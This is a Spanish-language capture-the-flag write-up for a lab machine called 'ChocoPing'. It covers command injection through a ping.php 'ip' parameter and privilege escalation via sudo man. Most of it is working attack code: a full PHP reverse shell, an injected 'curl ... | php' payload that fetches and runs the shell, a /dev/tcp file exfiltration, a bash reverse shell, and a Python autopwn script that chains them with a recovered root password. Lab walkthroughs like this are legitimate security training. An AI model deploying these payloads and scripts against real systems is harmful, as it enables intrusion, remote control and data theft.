> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/chocoping-write-up.md).

# ChocoPing write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/9SfQSib8YHelI727a1ba" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/kNtyxlr2owydQBJswC5E" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/ijX6zgKqv1ipvRBiWjr4" alt=""><figcaption></figcaption></figure>

Contemplamos un directory listing que contiene un archivo PHP, por lo que le hacemos clic y observamos lo siguiente:

<figure><img src="/files/BHfVkObjUrVWzoReN9GJ" alt=""><figcaption></figcaption></figure>

Observamos que pide introducir una IP válida, así que vamos a usar **wfuzz** para averiguar el parámetro necesario. Para ello ejecutaremos lo siguiente:

```bash
wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2/ping.php?FUZZ=172.17.0.1"  --hl 0
```

<figure><img src="/files/YvIIuG1MHYlMHLWWyY8a" alt=""><figcaption></figcaption></figure>

Esto indica que el parámetro que buscamos es `ip`. Así que vamos a probarlo en el navegador.

<figure><img src="/files/lmWUjqsAvp5VbZpNA6Cj" alt=""><figcaption></figcaption></figure>

Dado que se ha confirmado la ejecución del comando `ping -c 4 $ip`, procederemos a probar una posible inyección de comandos mediante el uso de **wfuzz**. Para ello ejecutaremos lo siguiente:

```bash
wfuzz -c -w /usr/share/wordlists/seclists/Fuzzing/command-injection-commix.txt -u "http://172.17.0.2/ping.php?ip=172.17.0.1 FUZZ"  --hl 0
```

<figure><img src="/files/OFhHIWPm4frfC1NmiKCM" alt=""><figcaption></figcaption></figure>

Contemplamos varias forma de poder ejecutar comandos, en mi caso seleccionare la primera opción `|echo%20OYDZIJ$((96%2B61))$(echo%20OYDZIJ)OYDZIJ\`. Si ingresamos el payload en el navegador veremos lo siguiente:

```bash
http://172.17.0.2/ping.php?ip=172.17.0.1%20|echo%20OYDZIJ$((96%2B61))$(echo%20OYDZIJ)OYDZIJ\
```

<figure><img src="/files/GiO0Y6QsIXiLBOYmuYNF" alt=""><figcaption></figcaption></figure>

Esto permite ejecutar comandos de la siguiente manera:

```bash
http://172.17.0.2/ping.php?ip=172.17.0.1%20|echo%20OYDZIJ$((96%2B61))$(whoami)OYDZIJ\
```

<figure><img src="/files/5aUX5MOXMqno9zHRfwgU" alt=""><figcaption></figcaption></figure>

A continuación, levantaremos un servidor HTTP utilizando Python. Este servidor alojará un archivo PHP malicioso, que utilizaremos para obtener una reverse shell al ejecutarlo.

En contenido del archivo PHP será el siguiente:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Para levantar el servidor ejecutaremos el siguiente comando:

```bash
python3 -m http.server 80
```

<figure><img src="/files/wQpaSqEYXsNMbLF99kan" alt=""><figcaption></figcaption></figure>

Ahora nos pondremos en escucha por el puerto 444. Luego, ejecutaremos el siguiente payload accediendo desde el navegador a la siguiente URL:

```bash
http://172.17.0.2/ping.php?ip=172.17.0.1|echo%20OYDZIJ$((96%2B61))$(curl 172.17.0.1/shell.php%20|%20php)OYDZIJ\
```

<figure><img src="/files/sEo61VJrBLv0lQNWHxYk" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar el binario `/usr/bin/man` como usuario `balutin`.

<figure><img src="/files/uhVGHG9c3yPgVMdumYQK" alt=""><figcaption></figcaption></figure>

Por lo que ejecutaremos lo siguiente para obtener una shell como el usuario `balutin`.

```bash
sudo -u balutin /usr/bin/man man
```

<figure><img src="/files/j96yOJdXZIfb6ITu5AbY" alt=""><figcaption></figcaption></figure>

Y ahora podremos ejecutar el binario `/bin/bash` escribiendo lo siguiente:

```bash
!/bin/bash
```

<figure><img src="/files/uzv4vQ7k1LvIJ1uGd8Es" alt=""><figcaption></figcaption></figure>

Ahora que somos el usuario `balutin`, encontramos el archivo comprimido `/home/balutin/secretito.zip`, así que vamos a pasarlo a nuestra máquina haciendo lo siguiente:

Primero ejecutamos en nuestra máquina:

```bash
nc -lvvp 4445 > secreto.zip
```

Y después ejecutamos lo siguiente en la máquina víctima:

```bash
cat secretito.zip > /dev/tcp/172.17.0.1/4445
```

<figure><img src="/files/7dgrZiDN9Sc2l9yQR0RZ" alt=""><figcaption></figcaption></figure>

Al intentar descomprimir el archivo observamos que pide una contraseña, por lo que usaremos **zip2john** para obtener el hash de la contraseña.

```bash
zip2john secreto.zip > hash
```

<figure><img src="/files/C9tA6eV3cT3KEMghgapJ" alt=""><figcaption></figcaption></figure>

Y a continuación haremos un ataque de fuerza bruta con ayuda de **John the ripper**.

```bash
john --wordlist=../rockyou.txt hash
```

<figure><img src="/files/5nRLwFxcb1xXPska3Hr6" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña para descomprimir el archivo es `chocolate`, por lo que ya podemos descomprimir el archivo.

```bash
unzip secreto.zip
```

<figure><img src="/files/PcX5nOyMTefGC6rUVrW7" alt=""><figcaption></figcaption></figure>

Observamos que el resultado de la descompresión es un paquete de red. Por lo tanto, inspeccionaremos su contenido usando la herramienta llamada **xxd**.

```bash
xxd traffic.pcap
```

<figure><img src="/files/HMjeMwJWcgV7z8o5s43c" alt=""><figcaption></figcaption></figure>

Esto muestra un intento de login del usuario `root`, en el cual uso como contraseña `secretitosecretazo!`. Por lo que vamos a intentar iniciar sesión como usuario `root` usando esas credenciales.

<figure><img src="/files/hCeihaI0Ew6scy538DRu" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess



def crear_script_expect():

    print("[+] Creando script1.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "$ "
send "python3 -m http.server 80\r"
interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")

def crear_script_expect2():

    print("[+] Creando script2.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 3
spawn zsh

expect "$ "
send {while true; do curl 'http://172.17.0.2/ping.php?ip=172.17.0.1|echo%20OYDZIJ$((96%2B61))$(curl%20172.17.0.1/shinki.php%20|%20php)OYDZIJ\\\\' ; sleep 1; done}

expect "$ "
send "\r"

interact
"""

    with open("script2.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script2.exp")


def crear_script_expect3():

    print("[+] Creando script3.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 6
sleep 5
spawn zsh

expect "$ "
send "nc -nlvvp 444\r"

expect "$ "
send "su\r"

set timeout 1

expect "$ "
send "secretitosecretazo!\r"

expect "$ "
send "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\r"

interact
"""

    with open("script3.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script3.exp")

def crear_shell():

    print("[+] Creando shinki.php...")
    
    contenido = """<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>  
"""

    with open("shinki.php", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 shinki.php")


def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

    return win_id

def iniciar_escucha2():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script2.exp"])

    time.sleep(1)

    win_id2 = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id2])

    return win_id2

def iniciar_escucha3():

    print(f"[+] Iniciando script3...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script3.exp"])

    time.sleep(1)

    win_id3 = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id3])

    return win_id3

def main():

    crear_shell()

    time.sleep(1)

    crear_script_expect()

    time.sleep(1)

    win_id = iniciar_escucha().decode('utf-8')

    time.sleep(1)

    crear_script_expect2()

    time.sleep(1)

    win_id2 = iniciar_escucha2().decode('utf-8')

    time.sleep(1)

    crear_script_expect3()

    time.sleep(1)

    win_id3 = iniciar_escucha3().decode('utf-8')

    os.system("nc -nlvvp 4444 ")

    os.system("rm shinki.php script1.exp script2.exp script3.exp")

    time.sleep(0.1)

    os.system(f"DISPLAY=:1 xdotool windowclose {win_id}")

    time.sleep(0.1)

    os.system(f"xdotool windowclose {win_id2}")

    time.sleep(0.1)

    os.system(f"xdotool windowclose {win_id3}")

if __name__ == "__main__":
    main() 
```
